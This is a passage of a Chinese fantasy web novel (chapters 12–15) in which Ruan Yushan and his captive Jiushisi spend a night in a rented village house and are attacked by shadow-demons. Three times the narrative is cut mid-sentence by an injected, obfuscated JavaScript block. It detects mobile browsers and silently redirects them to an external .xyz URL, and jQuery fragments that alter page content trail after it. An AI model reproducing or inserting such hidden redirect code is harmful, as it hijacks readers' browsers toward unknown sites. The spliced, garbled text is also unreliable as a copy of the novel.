他拽起另一边衣领,柔软的中衣衣料摩擦过他的刺青,九十四置若罔闻,一脸平静地低头系好衣带。阮玉山已去到老板身边与老板低声交谈,九十四耳边只听到秋风唏嘘,并没注意他们在商量什么,也没看见站在老板身边的阮玉山视线从没离开过他。 阮玉山爱看九十四这副憋着股劲儿的样子:自以为把头一低,就能装得逆来顺受不争不抢;实际上谁都看出他满肚子弯弯绕绕,低下去的眼珠子骨碌一转,心里想的永远是怎么报仇的事儿。 商量事毕,阮玉山信步走向门口,经过九十四时十分顺手地把人拽走,同时朝老板手里掷了两粒银锭子:“这算其他衣裳鞋袜的钱。” 意思是额外送九十四那套中衣和鞋袜不白送,该给多少还给多少,而且只多不少。 老板颇为无措,追着要把这银子还回去,直言先前那位姓林的小公子早已把差价补得很足,就算再买下两套衣裳那也够了,何况九十四的中衣和鞋袜本就是她额外送的,不必付钱。 阮玉山跨出门槛,听见老板这话似笑非笑地回头,开口时分明是亲和的语气,说出来的话却让人如芒在背,满棚子曾朝九十四打点过的人听着更觉得好似意有所指,指桑骂槐:“我的人,还沦不到被不相干的东西记挂。” 12.装睡 言毕,他看似好心地指指老板身后,提醒道:“你笸箩翻了。” 老板回头,一看还真是,笸箩翻在桌上,里头的布料连带着针线大片被她的衣袖带着,像打泼的水一样落在地上。 那些布料翻起来,敞出上头的刺绣,竟无一不是赤色的莲花花瓣模样。 阮玉山的视线在那些刺绣图案上停留了一瞬,趁老板回身收拾的当儿,大步一跨,走出门外,顺带将九十四一把扯走。 这一把险些将九十四摔个趔趄,即使如此,九十四踏出门前也不忘长臂一勾,把先前放在一边的几个羊肉包子捎走。 阮玉山信步在前,一边去牵马一边乜斜着往后嘲讽:“你倒不忘本。” 只知道吃。 九十四依旧是充耳不闻,不管听不听得懂,权当阮玉山的话是放屁,半点不往心里去。 二人一人牵一匹马,阮玉山在前,且行且深思,另一只手拽着九十四的链子,思索的同时还能抽出空子时不时故作恶劣地把人往自己这边扯一扯,只要余光瞧见九十四被他扯得偶尔摇晃,他就心情愉悦,仿佛是为了对其方才在换衣时的表现进行惩戒。 阮玉山的惩戒如同睡觉时小孩不停往枕头上扔的石子儿,无伤大雅,却足够叫人心烦。 九十四最初被拽得几度脚下不稳险些打滑,每每被阮玉山捉弄便横眉瞪过去,次数多了他发觉这人是越给颜色越来劲,遂扭过头,虽然心里早想把阮玉山打个落花流水,表面依旧任阮玉山如何拉扯,都不理会,即便因此走得蹒跚摇晃,也决不赏对方半点眼神。 果不其然,多来几次,阮玉山自觉无趣,便低着头想事去了。 方才他同那衣棚老板交谈,对方听闻他打探了慧相关,颇为意外,得知是他是了慧故友,更是万分挽留,恰好阮玉山也有意留下,同老板一商量,赁僦了对方空置的一栋房屋,原是老板为儿子读书时所盖,如今孩子远走他乡,屋子也空了下来。里头东西一应俱全,就连冬天取暖的炭盆和柴火也不缺,还有几件旧衣也随他们使。 这没什么奇怪,只是老板同他说话时,手中依旧飞针走线。作为人家吃饭的家伙什,干得麻利也是自然,但阮玉山瞧见,那老板在布料上绣上去的花纹,来来去去就那一个——总是赤色莲花花瓣。 若说为图方便,莲花花纹比不过最普通的祥云纹来得便利,若说为图好看,这东西又未免太过单调。 况且大量又单一地在所有布料上刺同一个刺绣,怎么看怎么透露着诡异。 此外,也不知老板是有心还是无意,提了两遍叫他夜间关上门闩,敲门也最好别应。 阮玉山一面想着,一面把目光瞥向旁边亦步亦趋跟着他的九十四,发现对方正望着远处被地符划起来的河面若有所思。 “在想什么?”阮玉山翘起嘴角问,“想把我丢进去?” 九十四瞅了他一眼,暗暗震惊于自己的想法竟然被他如此轻松地一语道破,表面却八风不动,回头摸摸自己的马,简洁地中土话回答道:“脏手。” 阮玉山早料到他不会好好说话,当即笑道:“什么脏得过你的手?” 九十四说:“放你嘴里搅一圈。” 他到底没把中土话学到运用自如,成句的话脱口只算得上清楚,不够流利,语调也一马平川,听起来反倒很有些异域风味,因此羞辱人时暂时还做不到和阮玉山旗鼓相当。但胜在思维敏捷,阮玉山上半句说出口,他闷头沉默,其实下半句如何骂人的话早就打好了腹稿。 阮玉山难得能找到一个跟他呛嘴呛得有来有回的,恰巧对方又长了副好皮囊,骂他那些话听在耳朵里简直不痛不痒,甚至比不上九十四弄巧成拙的中土腔调来得有意思。 听九十四无伤大雅地呛他,阮玉山好似心里有块犯欠的皮正痒着就被人挠了两下,顿时心情大为愉悦,于是看九十四更顺眼了不少,连方才在衣棚的针锋相对也抛诸脑后。 凭衣棚老板指的位置,二人拌着嘴不知不觉到了村子。 方才若干河边小店并不属于村落范围,要进村还须得走一刻钟的路。 沙佘关已是大祈东部地界,幽北的村庄分布与红州是大相径庭。红州疆域辽阔平坦,村落的房屋大多散布杂乱,没有具体的边界,而幽北由于气候严寒,崇山峻岭中多有野兽出没,一个区域的村民大都是团居生活,村庄边界十分明显。 现下站在村子外围,阮玉山瞧着遍布周边的那几棵柳树,总觉得不对。 民间种树不说讲究珍稀宝贵,但总还是追求美观,高低看个景致。在村子外边种树,即便退一步连景致也不甚追求,但好歹也是有固定排列,规律分布,按照同等间隔栽种。 这几棵柳树,分布规律不论,位置间隔全无,硬说是野生野长的,也不像。 倒更排布得像某种阵法。 阮玉山自幼虽性情顽劣,但读书练功是一样不落,不说神机妙算,但也算上知天文下知地理,世间玄术功法凡是他见过便都修过。若有奇形怪状连他都没见过的,这不该生在这飞不出金凤凰的荒郊野林。 这柳树再怎么诡谲,左不过是些邪魔歪道的手段,他既见了,留个心眼随机应变也足够解决。 想到这里,阮玉山也不犹豫,拉着九十四就进了村。 村子里每户人家的位置坐落有序,屋子并不难找,不多时二人便到了。 赁僦的屋子果然如对方所言,瓦屋前头有一方小院,院里水缸柴房连同储菜的地窖皆是满满当当,可见那老板平日定是个勤劳人家。 屋子里陈设简便,只有一张矮榻用于休憩,矮榻对面设一方小桌,想来就是那老板的孩子读书的地方。 这地方一切都简单干净,只是久无人居,难免落灰。 阮玉山到了这地儿也不矫情,院子外砌的矮墙边靠着笤帚,他一面进去,一面就拿着笤帚将灰尘落叶一并扫了。 同时还不忘提防九十四逃跑,把人和马一块拴在了院里的牛棚边上。 按理他是个金尊玉贵的主,上手做这些洒扫活计是万万不能的。奈何家里话事人是顶天立地的佘老太太。 阮玉山年幼出生时原也像其他公子哥儿们那样锦衣玉食地养着,被自小养成了个混世魔王的性子,还在家中得了个“鬼见愁”的外号,那时比他小两岁的无镛城世子谢九楼已因出口成章挥笔成赋而名扬东南,远在西北的阮玉山还拿着杆红缨枪整天追在小厮后头往人裤/裆里放老鼠。 老太太早就看他不惯,外头成天说东边那个谢家的小世子为人品行如何百年不遇,再一扭头瞧见自家曾孙这个不成器的样,老人家更是心烦。奈何阮玉山亲父生母拢共就那么一个宝贝儿子,溺爱得无度,没人敢管。 终于等到阮玉山七岁,他短命的爹娘通通战死沙场,半大孩子落到佘老太太手上,用一年时间教他上手城中政务后,头一件事就是将他踹去驻军军营当了整整两年的劳役兵。 那时他年纪小,虽能提枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057109|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却无法上阵,老太太不准任何人宣告他的身份,营里只当他是路边捡的一只狼崽子,像对付所有新兵蛋子一样整日使唤他端茶送水刷马桶。 阮玉山在军营风吹日晒,不服气就跟人打架,被打得头破血流以后再不服气地继续给人端茶送水刷马桶。 两年下来,营里的人只有他打不过的,没有他没打过的。这倒是磨去了他身上不少公子哥儿的脾性,也磨出了他的烈性。 那时候阮玉山每天活着的期望就是一日三餐伙夫给的三顿口粮,以至于后来回了阮府很长一段时间,他都跟闹饥荒似的成天吃不饱。 府里过点不食,老太太不允许任何人给他开小灶。阮玉山要吃饭,只能自己跑去厨房开灶火。 他这样的人,要站就站最高,要吃就要吃最好,就连挑选蝣人都要买蝣人堆里最强硬最难啃的那一个。 初回阮府那几年,老太太不将就他,不让别人给他做饭,他就自己研究,日子长了,竟也练就一身好厨艺。 因此现在到了乡间瓦舍,做饭打扫他全然不觉有任何为难。 阮玉山钻进屋子一通捯饬,出来时已近黄昏,他卸下了身上的披风和一应挂饰,外衫下摆也因为碍事被掖进腰封。 一转头,他发现九十四已经靠在牛棚的柱子边坐着闭眼睡着了。 他认认真真盯着九十四看了片刻,确认对方是在睡觉无疑后,几乎在心里气得发笑:即便是在阮府,也没人胆子大到敢在他忙活的时候杵外头睡大觉! 阮玉山把笤帚一扔,发出不小的动静。 靠在牛棚边的九十四没反应。 接着阮玉山走下檐坎,一步一步迈至九十四跟前,脚尖抵着九十四的脚尖。 九十四还是闭眼睡觉。 阮玉山咬着牙根一声冷笑,负手弯腰,俯身凑到九十四面前。 他到要看看,这个蝣人能装睡到什么程度。 北方的深秋干燥阴寒,冷风安静,一片落叶卷到地上能发出粗粝的摩擦声。 阮玉山看着九十四乌黑英气的长眉,额头快碰到对方的眉骨。 两个人的呼吸咫尺交错。 正当他认为自己需要使些手段来逼一逼这个不知好歹的蝣人时,九十四慢慢睁开了眼,双目一片漠然。 从那样坦然的神色里阮玉山看出来了,刚才这人是真的在熟睡,现在才醒。连眼神里的冷漠都带着点刚醒的茫然。 蝣人十数年间日复一日被鞭打压榨的生活让他们学会了抓紧一切机会休养生息,而他们休息的唯一方式就是闭眼睡觉,除此之外别无他法。 因此九十四睡觉时雷打不动雨惊不醒,也不必担心睡得太熟会错过什么大事——笼子外想要他醒来的人有千百种方式逼迫他睁眼,不需要蝣人自己太过勤勉。 对危险的感知是他们的本能,只有方寸间的入侵能让他们从本能中觉醒。 即便是察觉到阮玉山入侵式的靠近,九十四眼中也不见惊醒神态。 他的眼睛像一抹深不见底的蓝色湖泊,平静幽邃,看阮玉山就像看笼子外成百上千次把自己鞭醒的驯监,平淡之中隐藏着一丝不起眼的疲惫,还有一股与生俱来的蔑视——仿佛已经预见无数次携带着死亡的刀尖刺向他的情景。纵使下一刻铡刀就从他头顶落下,那片蓝色湖泊也不会生出任何波澜。 阮玉山看向九十四的眼神里带了点有意思的笑。 很奇怪,这个蝣人时刻挣扎着活,却一点都不怕死。 13.石子 九十四静默地和他对视片刻,睡意完全消退后,忽低下头,鼻尖蹭过阮玉山的鼻尖,从里侧衣兜掏出一卷东西。 阮玉山眸光微动,抬手摸了摸自己被九十四蹭过的鼻尖,莫名意犹未尽地挑了挑眉,这才去看九十四掏出来的东西。 竟然是一捆皱皱巴巴的书卷残页。 每一片残页边缘都卷曲泛黄得不像话,可见是时常被人拿出来翻阅;但页面上密密麻麻,除了本就印上去的字,还有许多被人歪歪扭扭用手指或石头棱角蘸了墨水极力模仿中原汉字写上去的注释,这些地方又极干净,可见阅读的人十分爱护。 九十四攥着这一把厚厚的残页,解开系得很潦草的捆绳,好像心里很有章程,枯瘦修长的手指翻到中间某一张,将其前后两页都折了一个小角,便抽出那张残卷埋头看起来,全然不管自己头顶还有个虎视眈眈的阮玉山。 阮玉山也不吭声,歪着头看了会儿九十四手里的书页,发现上头举凡能认出字的注释,大半都是错的。 他故意问道:“在看什么?” 九十四头也不抬,回答依旧很简略,仿佛是打了个盹心情不错才愿意赏他一个回答:“字。” 阮玉山觉得九十四这副自视甚高的态度很有意思,好像此时此刻被人当作货物一纸钱契买走,又扔在牛棚同畜生关在一起的不是他似的。九十四的肉身屈居泥沼,卑贱地倒数日子等着被人按在砧板一命呜呼,灵魂却高高在上,不屑一顾地睥睨阮玉山呢。 阮玉山又问:“哪来的?” 九十四懒得回答他了。 阮玉山不见恼怒,反而饶有兴趣地问:“你知道我买了你吗?” “你买了我的命。”九十四仍在专心看书,说起稍微长些的中土话语便要一个一个慢慢吐字,“不是我的自由。” 他没有义务像个下人一人伺候阮玉山,哪怕只是回答一个问题,也全凭他愿不愿意。 阮玉山认为九十四这是看人下菜,恃强凌弱,慢悠悠地同对方理论:“那怎么饕餮谷要你做什么,你就做什么?” 他这会儿心闲,乐得跟九十四软磨硬泡浪费时间,低下头去人家也不给他正脸瞧,他就去捣鼓九十四的头发。 九十四的头发并非脏得打绺,只是成股地卷曲着。那卷儿的弧度并不很大,弯得刚刚好,又因为没有打理而显得有些杂乱,像随手画出起伏的波浪。 他欠欠儿地伸出手指去绕九十四后背的头发:“是我的飞票没从他们那儿买到你的自由?” “他们也没有我的自由。”九十四黑漆漆的头顶一动不动,大抵是头发太多,感受不到阮玉山的玩弄,又或是感受到了也不想去管,“他们拿我们的命,威胁我们。” 他说到这里抬头看向阮玉山,句读得很生疏:“如果你也威胁,我听你的话。” 他问:“你要吗?” 九十四问这话的时候直直看着阮玉山的眼睛,他的眼神里没有情绪,问出这句话时既不是挑衅也不是乞求,平和得好似他们正谈论的并非是他的生死,而是今天的天气。 阮玉山毫不怀疑,只要自己下一刻点头,告诉九十四他真的会拿性命进行威逼,九十四就会立马按照吩咐逆来顺受,让回答什么就回答什么,像在饕餮谷所有驯监面前那样沉默听话。 这是一个务实的蝣人,知道自己需要活着——虽然阮玉山不知道他为什么需要,显然九十四的活带着某种明确的目的,并非像寻常人一般贪生怕死。正因如此,九十四会甘愿为此付出代价,哪怕是对着世界上最讨厌的阮玉山低眉顺眼,俯首帖耳。 阮玉山定定地地对着九十四这张驯不服的脸凝视半晌,忽然用自己抓过笤帚的那只手往九十四脸上抹了一把灰:“你脸真脏。” 说完就大摇大摆地起身走开。 九十四:“……” 九十四低头看书。 并决定再也不会多搭理阮玉山半个字。 阮玉山离开牛棚,到院子外转了一圈,回来时拿着一根自己看得过眼的木头,坐在屋檐下用刀削磨起来。 这地方多处透露着蹊跷,他此次出门没有随身携带武器,长枪趁手,他临时做个木的出来,枪杆哪一处契合自己握枪的习惯,便比着手指削进去点;哪一处是他打力的惯用点便着重削厚些。做下来虽不比家里那把十几年的合意,但若真遇见什么事,多少也起个防身的作用。 一边削,阮玉山时不时抬头往角落牛棚里的九十四看一眼。 虽说人拴在那儿没长翅膀也不会飞,可蝣人读书就跟公鸡打鸣一样是个稀世奇观,阮玉山图个新鲜,打量这九十四到底是真读还是假读,读进去了多少,那么多错字儿通通学进脑子里得多含辛茹苦。 可巧九十四看起书来就同老僧入定一般动也不动,头都不朝阮玉山这边扭一下,心无旁骛得让人没处刁难。 一直到暮色四合,老板送来新鲜吃食,叮嘱阮玉山夜间关好门窗,敲门莫应,院中留灯,靠在牛棚柱子边的九十四才收好书卷,扶着柱子慢慢站起来,望向这边。 说罢见天色已晚,老板便急忙忙劝阮玉山赶紧进房,又转头对着九十四招手:“小公子啊,你也快进去吧。” 她大抵早看出九十四是个不一般的囚犯,行走坐卧都铐着锁链,不过兴许也觉得阮玉山是个很能宽宥人的老爷,否则也不会纵容手下给一个囚犯买上好的衣裳,只是做事有些全凭心情,嘴上不大饶人,因此她虽没有明着给九十四拿来餐食,送到阮玉山手上却是两个男人的份量。 这地方已是幽北边境,再健壮的囚犯铐着铐子在深秋户外冻上一夜,第二天人也会硬成冰坨子。 老板揣着明白装糊涂,嘴上只管叫九十四小公子,当看不懂他身份似的招呼他和阮玉山一起进屋子里去。 九十四不吭声,低着脖子把自己捆在柱子上的锁链有一搭没一搭地扒拉得哗哗响。 阮玉山瞧不惯他这副装可怜样,满是嘲讽地哼笑一声,端着饭菜走进房门。 眼见九十四进门无望,老板正思索是再劝劝阮玉山良善些,还是劝劝九十四态度放软说些好话,就瞧见阮玉山在房中放好饭菜,大步流星走到院中,挡在九十四跟前,把捆着九十四锁链的麻绳一圈一圈解了。 一面儿解,一面儿用只有九十四听得见的声音说:“拿腔作势。” 九十四眼看自己是能进屋子过夜了,便不与他计较——况且自己本来就是在装腔作势。 老板见他二人如此,更在心里确定相信阮玉山是个嘴硬心软的主,简单做了道别,便朝院外走去。没走两步,又不放心地回来,亲自帮他们把院们处的火盆点燃。 冷清夜色下,这一方小院因为点了火盆看起来温暖不少。 九十四踏进门,侧身看着老板离开,又对着那个熊熊燃烧的火盆凝目深思。 他的手正摸向自己方才在院子里捡进衣兜的石子,突然又听见阮玉山凑到他耳边:“敢跑,就把你钉墙上。” “……” 九十四扭头去开柜子,把成天到晚幽魂不散的阮玉山晾在门口。 柜子打开,他麻利地把里边的棉被和席子翻出来,抱在地上开始给自己铺床。 阮玉山抄着胳膊,似笑非笑:“谁准你开柜子?” 九十四言简意赅:“老板。” 阮玉山:“老板几时准的?” 九十四想说上午在衣棚里他亲耳听见老板告诉阮玉山,屋里柜子的衣物棉被久无人用,但她常拿出来晾晒,若有需要,铺床铺地都好使。这一听谁都了然,老板虽没点明,暗里意思就是多余的被子能拿给九十四打地铺。 但是这话太长,九十四的中土话说不清楚,于是他流利地用蝣语回答了阮玉山的问题,也不管阮玉山听不听得懂。 阮玉山听不懂。 并怀疑九十四在骂他。 他偏过头去,略作回忆,再转过来时竟原封不动地九十四说的那一长串蝣语也叽里呱啦重复一遍,问:“是什么意思?” 九十四铺地的动作一顿。 他终于将视线投向了阮玉山那双俊秀而锋利的丹凤眼,却发现对方在认真等他回答。 蝣语自来拗口复杂,且百年来不曾留下任何文字遗迹,从来只以言语口说流传,阮玉山只是听了一遍,便将九十四的话复述得一点不落。 这个人脑子太灵光,想要从中他手里逃脱,不止要费些力气,必要时候还得博上一搏。 九十四抓着被褥的五指微微收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066547|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧,语气低沉道:“老板和你,在河边说,可以给我。” 阮玉山自是不清楚九十四这会儿心里正因为嫌他不好解决而情绪低落,不过从对方的话里他听明白了,刚才那一串子蝣语,很显然是九十四回答他的问题时,面对棘手的中土话选择了破罐子破摔。 屋外无端起了一阵寒风,卷曲起院外满地的尘沙,扑到院门处的火盆里,似乎是想将其熄灭。 院内一切却纹丝不动。 屋子角落设有烟道,阮玉山将门外的木枪拿进房中,关上门窗,点燃了取暖的炭火。 九十四的注意力很快被他吸引——蝣人打出生起屈居在冰冷的地牢,驯监们取暖用的是马粪和火道,他没见过点燃的木炭和明亮的火折子。 他看见阮玉山打开火折子,只是吹两下,那些冒头的白色余烬便泛起明明灭灭的火星,阮玉山拿它点火,又拿它点灯。这些玩意儿看得九十四目不转睛,很是开眼。 阮玉山知道九十四的目光在背后跟着自己跑,他在心里很是好笑:一整个下午他堂堂红州阮玉山没叫九十四多抬一次头,现在一个火折子倒是叫这个蝣人聚精会神。仿佛他手里拿的不是火折子,而是吊在驴头前的果子;自己方才一口气出去吹亮的不是火,是这只倔驴的眼睛。 而他身后,这头叫九十四的倔驴开始有了动作。 九十四对着点灯的阮玉山的背影,且看且退,慢慢从自己打的地铺里起身,坐到桌前的木凳上。 他知道阮玉山敏捷得宛若身后有第三只眼,他提防着阮玉山,阮玉山也提防着他。 因此他做不出什么大动静,被符咒和磁石束缚的蝣人,在阮玉山这样强悍的玄者眼皮子地下翻不出天。 九十四安静地坐在桌前,转过上半身,把视线从阮玉山身上在转移到食盒里。 屋里一灯如豆,烛火的光晕照到他身上便渐渐模糊了。 九十四半个身体隐匿在阴影中,暗处的手摸向揣在怀里的石子。 随手捡些石头藏在身上是九十四教给饕餮谷每个小蝣人的习惯。石头的用处很多,可以磨指甲,割头发,切分需要分成很多份的口粮,敲碎偶尔从空中落下来的鸟类的骨头,必要时也可以趁驯监不注意扔过去打他们的脑袋。 九十四抓住了一块棱角最为锋利的石块,空余的那只手伸向食盒,触摸到食盒的边缘,一副要打开盒子拿点馒头尝尝的架势。 随后他撩起眼皮,于黑暗中看向了透光的窗格。 民间窗户大多用麻纸糊在窗格外,用米汤调的浆糊粘上去,再刷一层桐油用以防风,这一户也不例外。 院子口火盆燃烧的光朦胧地映照着他们的窗户,透到屋子里时已所剩无几。 蝣人的双眼是他们与生俱来的利器,九十四的目光游走在每一栏窗格上,隔着薄薄的窗户纸,他很快判断出火盆的具体位置。 接着,他放在食盒边的手猛然朝外一推,整个食盒打翻在地,发出沉闷的坠落声。 与此同时,九十四将手里的石子飞快弹向自己瞄准的窗格,尖锐的石子刺破窗纸,由此带来的破空之声被食盒倒地的声响掩盖。 石块带着巨大的推力冲向院外火盆,撞到铜盆边沿,将其打翻,连带满盆的柴火倒扣在地面,院外火光瞬时消失。 阮玉山刚收起火折子,便听见食盒落地的动静,一扭头,正好瞥见院外黑了一片。 他像一头老鹰般骤然收紧目光,随即将眼神杀向桌边的九十四。 床头的烛火莫名跳动了一下,九十四意态悠然的视线缓缓从窗格转到阮玉山的脸上。 黑暗覆盖着九十四凌厉的眉骨,使那双异邦风情的眼睛更深邃了几分。他淡蓝色的眼底划过一抹狡黠的亮光,在半明半暗的烛火光晕里,九十四对着阮玉山略一歪头,扬唇笑了一下。 阮玉山几乎真的有点动气了,沉着脸走到九十四跟前,正要伸手掐住九十四的脖子问他搞什么名堂,门外突然响起不轻不重的敲门声。 一阵听不出是男是女的嗓音飘似的透进来: “我可以进门吗?” 二人扭头看去,窗格外空空荡荡,不见任何人影。 “我能进来吗?” 那声音又问。 14.影子(一更) 阮玉山抬腿,踢向他放在门后的木枪。 木枪应声朝他倒飞过来,在空中打了个转儿,稳稳被阮玉山接住。 随后他走向门边,对着空荡荡的屋外低声呵斥:“滚开。” 外头安静了一瞬。 九十四望着自己用石子打破的那一格窗户纸,一丝寒风从那个小格子里透进来,摇动窗纸破碎的边缘,发出极其低微的摩擦声。 他的后背乍然起了一股寒意,蝣人能敏锐捕捉危险的天性迫使九十四回头。 正对着他们的墙角处出现了一团模糊不清的黑色人影。 床边的烛火还在燃烧,墙壁的表面发出起起伏伏的蠕动。 那团影子跟随着墙面的蠕动安静地向上攀升,渐渐凝出身体和四肢模样,同时像沸腾的水以一样在墙面涌得越来越高,越来越高,直到完全化作人形,附在了墙上一般。 影子没有五官,九十四却感觉到墙上有双眼睛在盯着他们。 他看向墙和地面的交界线,瞧见影子的脚疏离悬空着,是一个吊死的姿势。 影子的手开始不断拉长,变成细条条的模样,五指快速地垂向地面,朝他们的脚边伸过来。 九十四的手摸向兜里第二块石头。 黑影的指尖触及墙面与地面的交界,整块身体随之顺畅地从墙上滑到地面,仿佛是被封在了泥里,只能凭此作为媒介,朝他们爬行。 几乎是一瞬间,黑影匍匐着冲到阮玉山脚下,刚要抓住阮玉山的脚腕时,阮玉山猛地转身,好似专程等这一刻,将木枪反手一甩,转出一个花圈,眨眼间只见木枪头尾调换,枪尖直直刺向地面,似是要将那黑影的脑袋钉死在脚下。 长枪扎向地面那一瞬,九十四才看见枪头上一道用刀刻出的符文。 阮玉山杵着木枪,腿脚伶俐地又将它踢起来在空中划了几圈,取回手中时已然变了个握枪的姿态,他拿笔似的打刚才钉在地面的位置起,顺着黑影占据的范围划动枪尖,最后收枪时念到:“九天十地,四方成器,散!” 这是阮氏相传数百年最基本的破魂术,就连族里最小的孩子也能使上两招。越是基础的术法越考验使用者的玄术高低,阮玉山的玄级去年刚刚突破四阶,如今还差半阶就入顶级突天境,大半个娑婆的玄者随便挑一个都接不住他一枪。 破魂术简单,对阮玉山而言的好处是面对任何不明晰的情况都能先用来试探试探,说不准一招下去就能把对面打个魂飞魄散,省事又方便。 九十四没见过他这些新奇的术法招式,阮玉山一使枪,他就目不转睛盯着对方的每一个动作,空闲之余还腾出捏着石头的两根手指学着比划了几下。 屋子里响起一阵嘶哑的呼啸,听起来像某种濒死的挣扎。 地面的黑影剧烈晃荡过后,爆破似的消散了。 九十四的双眼微微一睁,蹙了蹙眉。 “失望了?”阮玉山解决完地面下的,看向这个地面上的。 他垂手握枪,一步一步走到九十四面前,脸色阴沉,掌心朝上掐住九十四的下颌迫使他仰头:“我很想知道,放了妖物进门,你怎么逃?” 九十四眼见今晚计划无望,只能暗中放下兜里的石子,忍着下颌骨快被阮玉山捏碎的疼痛开口,收敛眼中失望神色:“我……不逃。” 阮玉山显然不信,指尖更用力了两分,语气却玩笑似的道:“哦?” 九十四咬着牙一个字一个字地说:“我,和你,做个交——” 话没说完,他瞥见阮玉山的身后,眼角骤然一缩。 他的手探回衣兜,才放下的那颗石子又被他抓回手里。 阮玉山见他神色怪异,也跟着回头。 ——满屋子都是黑色人影。 并成一列列,一排排,从地面到墙壁,再到屋顶。 齐刷刷伸长了五指,朝他们蔓延过来。 阮玉山将整个房屋扫视一圈,漠然扯了扯嘴角,显然是不把这些东西放在眼里。直接扬起胳膊,毫不犹豫地将长枪掷向床头。 床头的烛火熄灭了。 屋子里见不到光,所有影子随之消失。 两个人都屏住了呼吸等待它们下一刻的动静。 “呃啊——” 四面八方忽然刮来愤怒的嚎叫,地面凭空翻涌起了无数灰尘将他们两个包裹起来,愤怒的叫声充斥在九十四和阮玉山的耳畔,那声音听起来不男不女,杂乱又破碎,仿佛无数男女老少在对着他们怒吼。 地面无端地出现裂缝,随后融化般拧成了一个黑不见底的凹陷洞口。 席卷在他们周身的狂沙不断地将他们推往那里,足足有千百个人的力道。 九十四忽然喊:“阮老爷。” 这声老爷叫得很是动听,如果不是此时此刻情形危机,阮玉山听九十四轻浮优柔的语气,几乎会以为对方在勾引他。 他单手抓住墙边挂披风的衣架,用尽臂力将其扯断,然后猛然凿在地上,以此撑住身体拖延片刻时辰,接着再看向九十四。 九十四一只手上抓着石子,直等着阮玉山看过来,在阮玉山抬起头那一刹,他抓起石子最尖锐的一角,用尽全力划破自己的手腕。 深红的鲜血在至少三寸长的伤口里喷涌而出! 血液所溅射到的所有地方,举凡与周围的尘沙相交,又或是在诡异的地面,无不发出“嗞拉”的灼烧声响。 九十四把手垂下,温热的红色液体顺着他的掌心和五指分流如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074172|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注,接连不断流淌到地上。 那些尘沙看起来怕极了他——又或是怕极了他的血,以肉眼可见的速度在他周身消散、退开。 然后就调头去纠缠阮玉山。 妖物不怕玄者的血,否则不会奋力想要吞噬阮玉山。 况且蝣人体内骨珠所产生的玄气最为充足,对于世间妖物而言该是大补。 它们不怕玄者,更不怕蝣人。 怕的是那罗迦。 那罗迦前身是西方佛国至高无上的王,被母亲和诸神亲手杀死后也有一部分魂灵无法感化,它的冤魂自然也最为歹毒狰狞。 这种似狼似狗的野兽有着最肮脏污秽的来历,诞生于世间怨气极度浓重的地方,是最残暴凶狠的存在,没有东西的邪性天然大得过它。凭你是什么妖魔鬼怪,闻到那罗迦的气味儿就会本能地退避三舍。 偏偏九十四的身体里,恰好有那罗迦的血。 这得多亏了阮玉山逼他刺在背上的刺青。 那罗迦的血从进入蝣人身体那一刻,不会同刺青药水有一起留滞在皮下,而是会快速地遍布蝣人的全身,成为他们终身摆脱不了的屈辱。 阮玉山明白了九十四的意思——只要他此刻点头,九十四就是放干全身的血也会救他,条件是他得救之后立马解开刺青符咒放九十四离开,从此两不相干。 他是个出言无悔的人,可他不喜欢做心不甘情不愿的事。 使破魂术那会儿阮玉山动了一部分玄气,现下瞧这架势他才察觉藏匿在此处的妖物并不简单,光是小小一卷尘沙都足以将整个房子掀翻,身后更像有成百上千只手再不停将他推向眼前的地漩。 阮玉山手里支撑的木杆被沙尘吹折了,他死死盯着边上冷眼旁观的九十四,在对方看不见的另一侧,他无声地抓住那件被风卷到手边上的披风。 攥紧披风后,他学着九十四先前的样子,也冲九十四阴恻恻地笑了一下。 九十四眸光一凛,心道不好。 果然,电光石火间,阮玉山忽然像疯了一样地拼尽全身力气穿过凛冽的尘沙扑过来,九十四下意识抬手格挡,随即便意识到不对,可想要收手已经晚了。 飞速卷动的尘沙割破了阮玉山的脸和手,在他裸露出的皮肤上留下细密的大小血口,这使尝到血气的妖物更加癫狂。 他对此全然不顾,像老鹰捉捕猎物一样扣住九十四割血的那只手,先用披风将九十四手腕的伤口狠狠勒紧两圈,确保对方再流不出一滴血后,便将自己的手同九十四绑在了一起。 尘沙的地漩当即朝他们奔袭而来。 “我的东西。” 阮玉山凉悠悠的声音透过呼啸的风暴穿进九十四的耳朵:“我死也不放。” 15.道歉(二更) 九十四可不想跟他一起死。 阮玉山要同归于尽,九十四只觉得这人脑子有病。 